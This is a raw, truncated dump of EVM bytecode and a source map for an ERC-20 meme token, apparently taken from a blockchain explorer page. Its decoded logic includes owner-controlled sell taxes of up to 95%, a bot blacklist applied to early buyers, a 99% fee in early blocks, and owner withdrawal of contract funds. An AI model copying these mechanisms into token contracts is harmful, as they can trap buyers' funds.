01b0383163014155b80156111b857506001546001600160a01b03848116911614155b80156111d25750601e546001600160a01b03848116911614155b15611296576001600160a01b0383166000908152600460205260409020546019546111fd8483611bc5565b11158061122257506001600160a01b0384166000908152600b602052604090205460ff165b6112945760405162461bcd60e51b815260206004820152603f60248201527f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460448201527f65642c20796f752063616e206e6f7420686f6c642074686174206d7563682e0060648201526084016108c4565b505b601e546001600160a01b039081169085160361131657601854821115806112d557506001600160a01b0383166000908152600b602052604090205460ff165b6113165760405162461bcd60e51b81526020600482015260126024820152712a2c103634b6b4ba1032bc31b2b2b232b21760711b60448201526064016108c4565b61131f84611529565b1561132c5761132c61157d565b6001600160a01b038416600090815260046020526040902054611350908390611bd8565b6001600160a01b038516600090815260046020908152604080832093909355600a90529081205460ff1615611385578261138e565b61138e836118dc565b6001600160a01b0385166000908152600460205260409020549091506113b5908290611bc5565b6001600160a01b0380861660008181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114099085815260200190565b60405180910390a3506001949350505050565b6001600160a01b038316600090815260046020526040812054611440908390611bd8565b6001600160a01b038086166000908152600460205260408082209390935590851681522054611470908390611bc5565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114c49086815260200190565b60405180910390a35060019392505050565b601e546001600160a01b039081169082160361150c57611509601054600c55601154600d55601254600e55601354600f55565b50565b611509601454600c55601554600d55601654600e55601754600f55565b60006001600160a01b03821630148015611546575060215460ff16155b801561155b5750601e54600160a01b900460ff165b80156108945750601f5430600090815260046020526040902054101592915050565b6021805460ff1916600117905560208054306000908152600490925260408220546115a89190611bd8565b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106115e2576115e2611c41565b6001600160a01b03928316602091820292909201810191909152601d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561163b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061165f9190611c57565b8160018151811061167257611672611c41565b6001600160a01b039283166020918202929092010152601d5460405163791ac94760e01b81524792919091169063791ac947906116bc908690600090879030904290600401611c74565b600060405180830381600087803b1580156116d657600080fd5b505af11580156116ea573d6000803e3d6000fd5b50505050600081476116fc9190611bd8565b90506000600f54600c54836117119190611beb565b61171b9190611c02565b90506000600f54600d54846117309190611beb565b61173a9190611c02565b90506000600f54600e548561174f9190611beb565b6117599190611c02565b601a546040519192506000916001600160a01b039091169061753090869084818181858888f193505050503d80600081146117b0576040519150601f19603f3d011682016040523d82523d6000602084013e6117b5565b606091505b50509050806117d65760405162461bcd60e51b81526004016108c490611ce5565b601b546040516000916001600160a01b03169061753090869084818181858888f193505050503d8060008114611828576040519150601f19603f3d011682016040523d82523d6000602084013e61182d565b606091505b505090508061184e5760405162461bcd60e51b81526004016108c490611ce5565b601c546040516000916001600160a01b03169061753090869084818181858888f193505050503d80600081146118a0576040519150601f19603f3d011682016040523d82523d6000602084013e6118a5565b606091505b50509050806118c65760405162461bcd60e51b81526004016108c490611ce5565b50506021805460ff191690555050505050505050565b6000806008546007546118ef9190611bc5565b43111561191357600f54611904606485611c02565b61190e9190611beb565b611929565b61191e606484611c02565b611929906063611beb565b9050610a6b8184611bd8565b600060208083528351808285015260005b8181101561196257858101830151858201604001528201611946565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461150957600080fd5b600080604083850312156119ab57600080fd5b82356119b681611983565b946020939093013593505050565b6000806000606084860312156119d957600080fd5b505081359360208301359350604090920135919050565b600080600060608486031215611a0557600080fd5b8335611a1081611983565b92506020840135611a2081611983565b929592945050506040919091013590565b600060208284031215611a4357600080fd5b8135610a6b81611983565b801515811461150957600080fd5b60008060408385031215611a6f57600080fd5b8235611a7a81611983565b91506020830135611a8a81611a4e565b809150509250929050565b600060208284031215611aa757600080fd5b5035919050565b60008060408385031215611ac157600080fd5b82356119b681611a4e565b600080600060608486031215611ae157600080fd5b8335611aec81611a4e565b95602085013595506040909401359392505050565b600080600060608486031215611b1657600080fd5b8335611b2181611983565b92506020840135611b3181611983565b91506040840135611b4181611983565b809150509250925092565b60008060408385031215611b5f57600080fd5b8235611b6a81611983565b91506020830135611a8a81611983565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561089457610894611baf565b8181038181111561089457610894611baf565b808202811582820484141761089457610894611baf565b600082611c1f57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611c3657600080fd5b8151610a6b81611a4e565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611c6957600080fd5b8151610a6b81611983565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cc45784516001600160a01b031683529383019391830191600101611c9f565b50506001600160a01b03969096166060850152505050608001529392505050565b6020808252601e908201527f72656365697665722072656a656374656420455448207472616e73666572000060408201526060019056fea264697066735822122053d41bc50a9a5eff2a1adc2f592349f179e90c4ac5e9a45298f1ca8fd8c7de4064736f6c63430008110033
Deployed Bytecode
0x6080604052600436106102605760003560e01c80636b67c4df11610144578063a9059cbb116100b6578063dd62ed3e1161007a578063dd62ed3e14610737578063e96fada21461077d578063ec28438a1461079d578063f2fde38b146107bd578063f84ba65d146107dd578063fe575a87146107fd57600080fd5b8063a9059cbb14610697578063bfa21d6a146106b7578063d0889358146106d7578063d7c01032146106f7578063dab84ee71461071757600080fd5b80637ec72d3c116101085780637ec72d3c146105d2578063893d20e8146105f25780638b42507f146106105780638f9a55c01461064057806395d89b411461065657806398118cb41461068157600080fd5b80636b67c4df1461053a5780636ddd17131461055057806370a0823114610571578063715018a6146105a75780637d1db4a5146105bc57600080fd5b80633f4218e0116101dd578063534030b1116101a1578063534030b114610484578063596fa9e3146104a45780635d0044ca146104c45780635e83ae76146104e4578063658d4b7f146105045780636827e7641461052457600080fd5b80633f4218e0146103d757806342cc2f45146104075780634ada218b1461043f5780634f28cac21461045957806351bc3c851461046f57600080fd5b806318160ddd1161022457806318160ddd146103415780631df4ccfc1461035657806323b872dd1461036c5780632f54bf6e1461038c578063313ce567146103bb57600080fd5b80630445b6671461026c57806306fdde0314610295578063095ea7b3146102cf5780630d075d9c146102ff5780630f683e901461032157600080fd5b3661026757005b600080fd5b34801561027857600080fd5b50610282601f5481565b6040519081526020015b60405180910390f35b3480156102a157600080fd5b50604080518082019091526008815267506570657265756d60c01b60208201525b60405161028c9190611935565b3480156102db57600080fd5b506102ef6102ea366004611998565b61082d565b604051901515815260200161028c565b34801561030b57600080fd5b5061031f61031a3660046119c4565b61089a565b005b34801561032d57600080fd5b5061031f61033c3660046119c4565b610942565b34801561034d57600080fd5b50600254610282565b34801561036257600080fd5b50610282600f5481565b34801561037857600080fd5b506102ef6103873660046119f0565b6109dd565b34801561039857600080fd5b506102ef6103a7366004611a31565b6000546001600160a01b0391821691161490565b3480156103c757600080fd5b506040516009815260200161028c565b3480156103e357600080fd5b506102ef6103f2366004611a31565b600a6020526000908152604090205460ff1681565b34801561041357600080fd5b50601e54610427906001600160a01b031681565b6040516001600160a01b03909116815260200161028c565b34801561044b57600080fd5b506006546102ef9060ff1681565b34801561046557600080fd5b5061028260205481565b34801561047b57600080fd5b5061031f610a72565b34801561049057600080fd5b5061031f61049f366004611a5c565b610acf565b3480156104b057600080fd5b50601d54610427906001600160a01b031681565b3480156104d057600080fd5b5061031f6104df366004611a95565b610b24565b3480156104f057600080fd5b5061031f6104ff366004611aae565b610bc0565b34801561051057600080fd5b5061031f61051f366004611a5c565b610c4e565b34801561053057600080fd5b50610282600c5481565b34801561054657600080fd5b50610282600d5481565b34801561055c57600080fd5b50601e546102ef90600160a01b900460ff1681565b34801561057d57600080fd5b5061028261058c366004611a31565b6001600160a01b031660009081526004602052604090205490565b3480156105b357600080fd5b5061031f610ca3565b3480156105c857600080fd5b5061028260185481565b3480156105de57600080fd5b506102ef6105ed366004611998565b610d17565b3480156105fe57600080fd5b506000546001600160a01b0316610427565b34801561061c57600080fd5b506102ef61062b366004611a31565b600b6020526000908152604090205460ff1681565b34801561064c57600080fd5b5061028260195481565b34801561066257600080fd5b50604080518082019091526002815261506560f01b60208201526102c2565b34801561068d57600080fd5b50610282600e5481565b3480156106a357600080fd5b506102ef6106b2366004611998565b610d8b565b3480156106c357600080fd5b50601c54610427906001600160a01b031681565b3480156106e357600080fd5b5061031f6106f2366004611acc565b610d98565b34801561070357600080fd5b5061031f610712366004611b01565b610e1c565b34801561072357600080fd5b50601a54610427906001600160a01b031681565b34801561074357600080fd5b50610282610752366004611b4c565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561078957600080fd5b50601b54610427906001600160a01b031681565b3480156107a957600080fd5b5061031f6107b8366004611a95565b610e85565b3480156107c957600080fd5b5061031f6107d8366004611a31565b610f19565b3480156107e957600080fd5b5061031f6107f8366004611a5c565b611003565b34801561080957600080fd5b506102ef610818366004611a31565b60096020526000908152604090205460ff1681565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906108889086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b031633146108cd5760405162461bcd60e51b81526004016108c490611b7a565b60405180910390fd5b601083905560118290556012819055806108e78385611bc5565b6108f19190611bc5565b60138190556019101561093d5760405162461bcd60e51b8152602060048201526014602482015273496e76616c69642062757920746178206665657360601b60448201526064016108c4565b505050565b6000546001600160a01b0316331461096c5760405162461bcd60e51b81526004016108c490611b7a565b601483905560158290556016819055806109868385611bc5565b6109909190611bc5565b6017819055605f101561093d5760405162461bcd60e51b8152602060048201526015602482015274496e76616c69642073656c6c20746178206665657360581b60448201526064016108c4565b6001600160a01b038316600090815260056020908152604080832033845290915281205460001914610a5d576001600160a01b0384166000908152600560209081526040808320338452909152902054610a38908390611bd8565b6001600160a01b03851660009081526005602090815260408083203384529091529020555b610a68848484611058565b90505b9392505050565b6000546001600160a01b03163314610a9c5760405162461bcd60e51b81526004016108c490611b7a565b6040514790339082156108fc029083906000818181858888f19350505050158015610acb573d6000803e3d6000fd5b5050565b6000546001600160a01b03163314610af95760405162461bcd60e51b81526004016108c490611b7a565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610b4e5760405162461bcd60e51b81526004016108c490611b7a565b6064811015610b9f5760405162461bcd60e51b815260206004820152601760248201527f496e76616c6964206d61782077616c6c65742073697a6500000000000000000060448201526064016108c4565b61271081600254610bb09190611beb565b610bba9190611c02565b60195550565b6000546001600160a01b03163314610bea5760405162461bcd60e51b81526004016108c490611b7a565b81610c295760405162461bcd60e51b815260206004820152600f60248201526e273790393ab3903432b9329039b2b960891b60448201526064016108c4565b6006805460ff19168315159081179091556008829055600103610acb57436007555050565b6000546001600160a01b03163314610c785760405162461bcd60e51b81526004016108c490611b7a565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610ccd5760405162461bcd60e51b81526004016108c490611b7a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60405163a9059cbb60e01b8152336004820152602481018290526000906001600160a01b0384169063a9059cbb906044016020604051808303816000875af1158015610d67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6b9190611c24565b6000610a6b338484611058565b6000546001600160a01b03163314610dc25760405162461bcd60e51b81526004016108c490611b7a565b601e805460ff60a01b1916600160a01b8515150217905560025461271090610deb908490611beb565b610df59190611c02565b601f5560025461271090610e0a908390611beb565b610e149190611c02565b602055505050565b6000546001600160a01b03163314610e465760405162461bcd60e51b81526004016108c490611b7a565b601a80546001600160a01b039485166001600160a01b031991821617909155601b805493851693821693909317909255601c8054919093169116179055565b6000546001600160a01b03163314610eaf5760405162461bcd60e51b81526004016108c490611b7a565b6032811015610ef85760405162461bcd60e51b8152602060048201526015602482015274125b9d985b1a59081b585e081d1e08185b5bdd5b9d605a1b60448201526064016108c4565b61271081600254610f099190611beb565b610f139190611c02565b60185550565b6000546001600160a01b03163314610f435760405162461bcd60e51b81526004016108c490611b7a565b6001600160a01b038116610fa85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108c4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461102d5760405162461bcd60e51b81526004016108c490611b7a565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b60215460009060ff168061106a575081155b156110815761107a84848461141c565b9050610a6b565b6001600160a01b0384166000908152600a602052604090205460ff161580156110c357506001600160a01b0383166000908152600a602052604090205460ff16155b80156110d2575060065460ff16155b80156110eb5750601e546001600160a01b038581169116145b15611114576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6001600160a01b03841660009081526009602052604090205460ff161561116e5760405162461bcd60e51b815260206004820152600e60248201526d596f7520617265206120626f742160901b60448201526064016108c4565b611177846114d6565b6000546001600160a01b0385811691161480159061119e57506001600160a01b0383163014155b80156111b857506001546001600160a01b03848116911614155b80156111d25750601e546001600160a01b03848116911614155b15611296576001600160a01b0383166000908152600460205260409020546019546111fd8483611bc5565b11158061122257506001600160a01b0384166000908152600b602052604090205460ff165b6112945760405162461bcd60e51b815260206004820152603f60248201527f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460448201527f65642c20796f752063616e206e6f7420686f6c642074686174206d7563682e0060648201526084016108c4565b505b601e546001600160a01b039081169085160361131657601854821115806112d557506001600160a01b0383166000908152600b602052604090205460ff165b6113165760405162461bcd60e51b81526020600482015260126024820152712a2c103634b6b4ba1032bc31b2b2b232b21760711b60448201526064016108c4565b61131f84611529565b1561132c5761132c61157d565b6001600160a01b038416600090815260046020526040902054611350908390611bd8565b6001600160a01b038516600090815260046020908152604080832093909355600a90529081205460ff1615611385578261138e565b61138e836118dc565b6001600160a01b0385166000908152600460205260409020549091506113b5908290611bc5565b6001600160a01b0380861660008181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114099085815260200190565b60405180910390a3506001949350505050565b6001600160a01b038316600090815260046020526040812054611440908390611bd8565b6001600160a01b038086166000908152600460205260408082209390935590851681522054611470908390611bc5565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114c49086815260200190565b60405180910390a35060019392505050565b601e546001600160a01b039081169082160361150c57611509601054600c55601154600d55601254600e55601354600f55565b50565b611509601454600c55601554600d55601654600e55601754600f55565b60006001600160a01b03821630148015611546575060215460ff16155b801561155b5750601e54600160a01b900460ff165b80156108945750601f5430600090815260046020526040902054101592915050565b6021805460ff1916600117905560208054306000908152600490925260408220546115a89190611bd8565b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106115e2576115e2611c41565b6001600160a01b03928316602091820292909201810191909152601d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561163b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061165f9190611c57565b8160018151811061167257611672611c41565b6001600160a01b039283166020918202929092010152601d5460405163791ac94760e01b81524792919091169063791ac947906116bc908690600090879030904290600401611c74565b600060405180830381600087803b1580156116d657600080fd5b505af11580156116ea573d6000803e3d6000fd5b50505050600081476116fc9190611bd8565b90506000600f54600c54836117119190611beb565b61171b9190611c02565b90506000600f54600d54846117309190611beb565b61173a9190611c02565b90506000600f54600e548561174f9190611beb565b6117599190611c02565b601a546040519192506000916001600160a01b039091169061753090869084818181858888f193505050503d80600081146117b0576040519150601f19603f3d011682016040523d82523d6000602084013e6117b5565b606091505b50509050806117d65760405162461bcd60e51b81526004016108c490611ce5565b601b546040516000916001600160a01b03169061753090869084818181858888f193505050503d8060008114611828576040519150601f19603f3d011682016040523d82523d6000602084013e61182d565b606091505b505090508061184e5760405162461bcd60e51b81526004016108c490611ce5565b601c546040516000916001600160a01b03169061753090869084818181858888f193505050503d80600081146118a0576040519150601f19603f3d011682016040523d82523d6000602084013e6118a5565b606091505b50509050806118c65760405162461bcd60e51b81526004016108c490611ce5565b50506021805460ff191690555050505050505050565b6000806008546007546118ef9190611bc5565b43111561191357600f54611904606485611c02565b61190e9190611beb565b611929565b61191e606484611c02565b611929906063611beb565b9050610a6b8184611bd8565b600060208083528351808285015260005b8181101561196257858101830151858201604001528201611946565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461150957600080fd5b600080604083850312156119ab57600080fd5b82356119b681611983565b946020939093013593505050565b6000806000606084860312156119d957600080fd5b505081359360208301359350604090920135919050565b600080600060608486031215611a0557600080fd5b8335611a1081611983565b92506020840135611a2081611983565b929592945050506040919091013590565b600060208284031215611a4357600080fd5b8135610a6b81611983565b801515811461150957600080fd5b60008060408385031215611a6f57600080fd5b8235611a7a81611983565b91506020830135611a8a81611a4e565b809150509250929050565b600060208284031215611aa757600080fd5b5035919050565b60008060408385031215611ac157600080fd5b82356119b681611a4e565b600080600060608486031215611ae157600080fd5b8335611aec81611a4e565b95602085013595506040909401359392505050565b600080600060608486031215611b1657600080fd5b8335611b2181611983565b92506020840135611b3181611983565b91506040840135611b4181611983565b809150509250925092565b60008060408385031215611b5f57600080fd5b8235611b6a81611983565b91506020830135611a8a81611983565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561089457610894611baf565b8181038181111561089457610894611baf565b808202811582820484141761089457610894611baf565b600082611c1f57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611c3657600080fd5b8151610a6b81611a4e565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611c6957600080fd5b8151610a6b81611983565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cc45784516001600160a01b031683529383019391830191600101611c9f565b50506001600160a01b03969096166060850152505050608001529392505050565b6020808252601e908201527f72656365697665722072656a656374656420455448207472616e73666572000060408201526060019056fea264697066735822122053d41bc50a9a5eff2a1adc2f592349f179e90c4ac5e9a45298f1ca8fd8c7de4064736f6c63430008110033
Deployed Bytecode Sourcemap
3876:11065:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5815:51;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;5815:51:0;;;;;;;;6886:80;;;;;;;;;;-1:-1:-1;6958:5:0;;;;;;;;;;;;-1:-1:-1;;;6958:5:0;;;;6886:80;;;;;;;:::i;7306:216::-;;;;;;;;;;-1:-1:-1;7306:216:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;7306:216:0;1205:187:1;12659:355:0;;;;;;;;;;-1:-1:-1;12659:355:0;;;;;:::i;:::-;;:::i;:::-;;13022:365;;;;;;;;;;-1:-1:-1;13022:365:0;;;;;:::i;:::-;;:::i;6621:83::-;;;;;;;;;;-1:-1:-1;6694:7:0;;6621:83;;4741:23;;;;;;;;;;;;;;;;7980:341;;;;;;;;;;-1:-1:-1;7980:341:0;;;;;:::i;:::-;;:::i;1977:103::-;;;;;;;;;;-1:-1:-1;1977:103:0;;;;;:::i;:::-;2032:4;2067:5;-1:-1:-1;;;;;2056:16:0;;;2067:5;;2056:16;;1977:103;6710:80;;;;;;;;;;-1:-1:-1;6710:80:0;;4100:1;2573:36:1;;2561:2;2546:18;6710:80:0;2431:184:1;4490:44:0;;;;;;;;;;-1:-1:-1;4490:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5741:28;;;;;;;;;;-1:-1:-1;5741:28:0;;;;-1:-1:-1;;;;;5741:28:0;;;;;;-1:-1:-1;;;;;2784:32:1;;;2766:51;;2754:2;2739:18;5741:28:0;2620:203:1;4318:34:0;;;;;;;;;;-1:-1:-1;4318:34:0;;;;;;;;5880:51;;;;;;;;;;;;;;;;14787:151;;;;;;;;;;;;;:::i;9693:122::-;;;;;;;;;;-1:-1:-1;9693:122:0;;;;;:::i;:::-;;:::i;5701:33::-;;;;;;;;;;-1:-1:-1;5701:33:0;;;;-1:-1:-1;;;;;5701:33:0;;;14261:177;;;;;;;;;;-1:-1:-1;14261:177:0;;;;;:::i;:::-;;:::i;7530:278::-;;;;;;;;;;-1:-1:-1;7530:278:0;;;;;:::i;:::-;;:::i;13991:121::-;;;;;;;;;;-1:-1:-1;13991:121:0;;;;;:::i;:::-;;:::i;4632:25::-;;;;;;;;;;;;;;;;4664:32;;;;;;;;;;;;;;;;5778:30;;;;;;;;;;-1:-1:-1;5778:30:0;;;;-1:-1:-1;;;5778:30:0;;;;;;7056:105;;;;;;;;;;-1:-1:-1;7056:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;7140:18:0;7122:7;7140:18;;;:9;:18;;;;;;;7056:105;1819:146;;;;;;;;;;;;;:::i;5275:51::-;;;;;;;;;;;;;;;;14636:143;;;;;;;;;;-1:-1:-1;14636:143:0;;;;;:::i;:::-;;:::i;6972:78::-;;;;;;;;;;-1:-1:-1;7024:7:0;7042:5;-1:-1:-1;;;;;7042:5:0;6972:78;;4541:48;;;;;;;;;;-1:-1:-1;4541:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5346:53;;;;;;;;;;;;;;;;6796:84;;;;;;;;;;-1:-1:-1;6870:7:0;;;;;;;;;;;;-1:-1:-1;;;6870:7:0;;;;6796:84;;4703:31;;;;;;;;;;;;;;;;7816:156;;;;;;;;;;-1:-1:-1;7816:156:0;;;;;:::i;:::-;;:::i;5612:80::-;;;;;;;;;;-1:-1:-1;5612:80:0;;;;-1:-1:-1;;;;;5612:80:0;;;13699:284;;;;;;;;;;-1:-1:-1;13699:284:0;;;;;:::i;:::-;;:::i;13399:292::-;;;;;;;;;;-1:-1:-1;13399:292:0;;;;;:::i;:::-;;:::i;5444:74::-;;;;;;;;;;-1:-1:-1;5444:74:0;;;;-1:-1:-1;;;;;5444:74:0;;;7167:133;;;;;;;;;;-1:-1:-1;7167:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;7269:19:0;;;7251:7;7269:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;7167:133;5525:80;;;;;;;;;;-1:-1:-1;5525:80:0;;;;-1:-1:-1;;;;;5525:80:0;;;14446:174;;;;;;;;;;-1:-1:-1;14446:174:0;;;;;:::i;:::-;;:::i;2088:242::-;;;;;;;;;;-1:-1:-1;2088:242:0;;;;;:::i;:::-;;:::i;14124:129::-;;;;;;;;;;-1:-1:-1;14124:129:0;;;;;:::i;:::-;;:::i;4435:46::-;;;;;;;;;;-1:-1:-1;4435:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7306:216;7410:10;7381:4;7398:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;7398:32:0;;;;;;;;;;:41;;;7455:37;7381:4;;7398:32;;7455:37;;;;7433:6;160:25:1;;148:2;133:18;;14:177;7455:37:0;;;;;;;;-1:-1:-1;7510:4:0;7306:216;;;;;:::o;12659:355::-;1736:5;;-1:-1:-1;;;;;1736:5:0;1235:10;1736:21;1728:66;;;;-1:-1:-1;;;1728:66:0;;;;;;;:::i;:::-;;;;;;;;;12772:9:::1;:19:::0;;;12802:15:::1;:31:::0;;;12844:15:::1;:31:::0;;;12862:13;12900:27:::1;12820:13:::0;12784:7;12900:27:::1;:::i;:::-;:45;;;;:::i;:::-;12886:11;:59:::0;;;12979:2:::1;-1:-1:-1::0;12964:17:0::1;12956:50;;;::::0;-1:-1:-1;;;12956:50:0;;6197:2:1;12956:50:0::1;::::0;::::1;6179:21:1::0;6236:2;6216:18;;;6209:30;-1:-1:-1;;;6255:18:1;;;6248:50;6315:18;;12956:50:0::1;5995:344:1::0;12956:50:0::1;12659:355:::0;;;:::o;13022:365::-;1736:5;;-1:-1:-1;;;;;1736:5:0;1235:10;1736:21;1728:66;;;;-1:-1:-1;;;1728:66:0;;;;;;;:::i;:::-;13136:10:::1;:20:::0;;;13167:16:::1;:32:::0;;;13210:16:::1;:32:::0;;;13229:13;13268:29:::1;13186:13:::0;13149:7;13268:29:::1;:::i;:::-;:48;;;;:::i;:::-;13253:12;:63:::0;;;13351:2:::1;-1:-1:-1::0;13335:18:0::1;13327:52;;;::::0;-1:-1:-1;;;13327:52:0;;6546:2:1;13327:52:0::1;::::0;::::1;6528:21:1::0;6585:2;6565:18;;;6558:30;-1:-1:-1;;;6604:18:1;;;6597:51;6665:18;;13327:52:0::1;6344:345:1::0;7980:341:0;-1:-1:-1;;;;;8100:19:0;;8080:4;8100:19;;;:11;:19;;;;;;;;8120:10;8100:31;;;;;;;;-1:-1:-1;;8100:52:0;8097:157;;-1:-1:-1;;;;;8202:19:0;;;;;;:11;:19;;;;;;;;8222:10;8202:31;;;;;;;;:40;;8236:6;;8202:40;:::i;:::-;-1:-1:-1;;;;;8168:19:0;;;;;;:11;:19;;;;;;;;8188:10;8168:31;;;;;;;:74;8097:157;8273:40;8287:6;8295:9;8306:6;8273:13;:40::i;:::-;8266:47;;7980:341;;;;;;:::o;14787:151::-;1736:5;;-1:-1:-1;;;;;1736:5:0;1235:10;1736:21;1728:66;;;;-1:-1:-1;;;1728:66:0;;;;;;;:::i;:::-;14891:39:::1;::::0;14859:21:::1;::::0;14899:10:::1;::::0;14891:39;::::1;;;::::0;14859:21;;14839:17:::1;14891:39:::0;14839:17;14891:39;14859:21;14899:10;14891:39;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14828:110;14787:151::o:0;9693:122::-;1736:5;;-1:-1:-1;;;;;1736:5:0;1235:10;1736:21;1728:66;;;;-1:-1:-1;;;1728:66:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9776:22:0;;;::::1;;::::0;;;:13:::1;:22;::::0;;;;:31;;-1:-1:-1;;9776:31:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9693:122::o;14261:177::-;1736:5;;-1:-1:-1;;;;;1736:5:0;1235:10;1736:21;1728:66;;;;-1:-1:-1;;;1728:66:0;;;;;;;:::i;:::-;14347:3:::1;14337:6;:13;;14329:49;;;::::0;-1:-1:-1;;;14329:49:0;;7029:2:1;14329:49:0::1;::::0;::::1;7011:21:1::0;7068:2;7048:18;;;7041:30;7107:25;7087:18;;;7080:53;7150:18;;14329:49:0::1;6827:347:1::0;14329:49:0::1;14425:5;14416:6;14406:7;;:16;;;;:::i;:::-;:24;;;;:::i;:::-;14389:14;:41:::0;-1:-1:-1;14261:177:0:o;7530:278::-;1736:5;;-1:-1:-1;;;;;1736:5:0;1235:10;1736:21;1728:66;;;;-1:-1:-1;;;1728:66:0;;;;;;;:::i;:::-;7624:6:::1;7616:34;;;::::0;-1:-1:-1;;;7616:34:0;;7776:2:1;7616:34:0::1;::::0;::::1;7758:21:1::0;7815:2;7795:18;;;7788:30;-1:-1:-1;;;7834:18:1;;;7827:45;7889:18;;7616:34:0::1;7574:339:1::0;7616:34:0::1;7661:14;:23:::0;;-1:-1:-1;;7661:23:0::1;::::0;::::1;;::::0;;::::1;::::0;;;7695:8:::1;:21:::0;;;-1:-1:-1;7731:14:0;7727:74:::1;;7777:12;7762;:27:::0;7530:278;;:::o;13991:121::-;1736:5;;-1:-1:-1;;;;;1736:5:0;1235:10;1736:21;1728:66;;;;-1:-1:-1;;;1728:66:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14075:20:0;;;::::1;;::::0;;;:11:::1;:20;::::0;;;;:29;;-1:-1:-1;;14075:29:0::1;::::0;::::1;;::::0;;;::::1;::::0;;13991:121::o;1819:146::-;1736:5;;-1:-1:-1;;;;;1736:5:0;1235:10;1736:21;1728:66;;;;-1:-1:-1;;;1728:66:0;;;;;;;:::i;:::-;1925:1:::1;1910:5:::0;;1889:39:::1;::::0;-1:-1:-1;;;;;1910:5:0;;::::1;::::0;1889:39:::1;::::0;1925:1;;1889:39:::1;1955:1;1939:18:::0;;-1:-1:-1;;;;;;1939:18:0::1;::::0;;1819:146::o;14636:143::-;14731:40;;-1:-1:-1;;;14731:40:0;;14754:10;14731:40;;;8092:51:1;8159:18;;;8152:34;;;14699:12:0;;-1:-1:-1;;;;;14731:22:0;;;;;8065:18:1;;14731:40:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;7816:156::-;7896:4;7920:44;7934:10;7946:9;7957:6;7920:13;:44::i;13699:284::-;1736:5;;-1:-1:-1;;;;;1736:5:0;1235:10;1736:21;1728:66;;;;-1:-1:-1;;;1728:66:0;;;;;;;:::i;:::-;13829:11:::1;:22:::0;;-1:-1:-1;;;;13829:22:0::1;-1:-1:-1::0;;;13829:22:0;::::1;;;;::::0;;13878:7:::1;::::0;13909:5:::1;::::0;13878:28:::1;::::0;13888:18;;13878:28:::1;:::i;:::-;:36;;;;:::i;:::-;13862:13;:52:::0;13939:7:::1;::::0;13970: